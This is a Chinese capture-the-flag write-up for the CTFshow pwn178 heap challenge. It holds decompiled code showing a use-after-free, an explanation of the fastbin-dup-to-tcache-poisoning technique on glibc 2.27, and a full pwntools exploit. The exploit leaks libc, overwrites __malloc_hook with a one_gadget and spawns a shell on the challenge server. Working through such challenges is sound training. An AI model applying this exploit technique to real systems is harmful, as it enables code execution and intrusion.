CTFshow-pwn178
[!NOTE]
注意远程环境,不要习惯性的看见18就使用一个libc去打
- 远程环境:Ubuntu 18.04
libc 版本为 2.27-3ubuntu1.6_amd64
保护全开
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn178
[*] '/home/niuyingying/ctf/pwn/pwn178'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
分析程序主要流程
int sub_B80()
{
puts("=========Menu===========");
puts("1.Add a Flag");
puts("2.Show Flag");
puts("3.Edit Flag");
puts("4.Delete Flag");
puts("5.Exit");
return printf("Input your choice:");
}
unsigned __int64 Add()
{
int v0; // ebx
void **v1; // rbx
int v3; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
if ( dword_20204C > 100 )
puts("Enough!");
v0 = dword_20204C;
*((_QWORD *)&unk_202060 + v0) = malloc(0x18u);// *(&unk_202060 + i) = malloc(0x18u)
puts("Please input the size of the flag");
__isoc99_scanf("%d", &v3);
*(_DWORD *)(*((_QWORD *)&unk_202060 + dword_20204C) + 8LL) = v3;// *(*(&unk_202060 + i) + 8LL) = size
v1 = (void **)*((_QWORD *)&unk_202060 + dword_20204C);
*v1 = malloc(v3); // *(*(&unk_202060 + i)) = malloc(szie)
puts("please input the flag name:");
read(0, **((void ***)&unk_202060 + dword_20204C), v3);
puts("please input the flag idx:");
read(0, (void *)(*((_QWORD *)&unk_202060 + dword_20204C) + 12LL), 12u);// (*(&unk_202060 + i) + 12LL) = idx
*(_BYTE *)(*((_QWORD *)&unk_202060 + dword_20204C) + 23LL) = 0;// *(*(&unk_202060 + i) + 23LL) = 0
puts("Done!");
++dword_20204C;
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 Show()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Please input the index:");
__isoc99_scanf("%d", &v1);
if ( *((_QWORD *)&unk_202060 + v1) )
{
puts("name:");
puts(**((const char ***)&unk_202060 + v1));
puts("lenth:");
puts((const char *)(*((_QWORD *)&unk_202060 + v1) + 12LL));
}
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}
int Edit()
{
return puts("Sorry, you don't have permission to change the flag.");
}
unsigned __int64 Delete()
{
unsigned int v0; // eax
signed int v2; // [rsp+0h] [rbp-10h] BYREF
int v3; // [rsp+4h] [rbp-Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("Please input the index:");
__isoc99_scanf("%d", &v2);
if ( (unsigned int)v2 >= 0x64 )
exit(0);
if ( *((_QWORD *)&unk_202060 + v2) )
free(**((void ***)&unk_202060 + v2)); // UAF
v0 = time(0);
srand(v0);
v3 = rand() % 10;
if ( v3 > 1 )
puts("Failed.");
else
puts("Succeed!");
puts("Done!");
return __readfsqword(0x28u) ^ v4;
}
与上一题类似,参考 pwn177 - AurY1n's Blog
需要注意的是,这道题 libc 版本较高,现代 tcache 不是只检查“上一个 free 的是不是同一个 chunk”,而是会检查“这个 chunk 是否已经在当前 tcache 链里”
所以我们可以通过 fastbin 更弱的经典检查来绕过从而利用 UAF ,后续既可以选择打 __malloc_hook ,也可以选择打 __free_hook
以及还应看到,虽然脚本打 hook 时是 fastbin dup 起手,但真正拿到 hook 附近地址时已经变成了 tcache poisoning , tcache 里存的是用户区指针,不是 chunk header,因此写目标地址时无需同 fastbin 那样 -0x10
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn178')
libc = ELF('/home/niuyingying/ctf/pwn/ubuntu18_libc_2.27-3ubuntu1.6_extracted/lib/x86_64-linux-gnu/libc-2.27.so')
# io = process('./pwn178')
io = remote("pwn.challenge.ctf.show",28240)
# io = gdb.debug('./pwn178', gdbscript='set pagination off\nbreakrva 0xD72\nbreakrva 0xE64\nbreakrva 0xF83\nc')
def Add(size,text):
io.recvuntil(b"Input your choice:")
io.sendline(b"1")
io.recvuntil(b"Please input the size of the flag\n")
io.sendline(str(size).encode())
io.recvuntil(b"please input the flag name:\n")
io.send(text)
io.recvuntil(b"please input the flag idx:")
io.sendline(b"cccc")
def Show(i):
io.recvuntil(b"Input your choice:")
io.sendline(b"2")
io.recvuntil(b"Please input the index:\n")
io.sendline(str(i).encode())
io.recvuntil(b"name:\n")
def Delete(i):
io.recvuntil(b"Input your choice:")
io.sendline(b"4")
io.recvuntil(b"Please input the index:\n")
io.sendline(str(i).encode())
Add(0x450,b"aaaa") # 0
Add(0x10,b"aaaa") # 1
Delete(0)
Show(0)
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
libc_base = leak - 0x60 - 0x10 - libc.sym['__malloc_hook']
print(hex(libc_base))
one_gadget = libc_base + 0x10a2fc
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
# free_hook = libc_base + libc.sym['__free_hook']
# system = libc_base + libc.sym['system']
Delete(1)
Add(0x450,b"aaaa") # 2
for i in range(7):
Add(0x60,b"bbbb")
Add(0x60,b"bbbb") # 10
Add(0x60,b"bbbb") # 11
Add(0x10,b"bbbb") # 12
for i in range(7):
Delete(i + 3)
Delete(10)
Delete(11)
Delete(10)
for i in range(7):
Add(0x60,b"bbbb")
Add(0x60,p64(malloc_hook - 0x13)) # 20
Add(0x60,b"bbbb") # 21
Add(0x60,b"bbbb") # 22
Add(0x60,b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 6)) # 23
io.recvuntil(b"Input your choice:")
io.sendline(b"1")
# Add(0x60,p64(free_hook)) # 20
# Add(0x60,b"bbbb") # 21
# Add(0x60,b"bbbb") # 22
# Add(0x60,p64(system)) # 23
# Add(0x10,b"/bin/sh\x00") #24
#
# Delete(24)
io.interactive()

浙公网安备 33010602011771号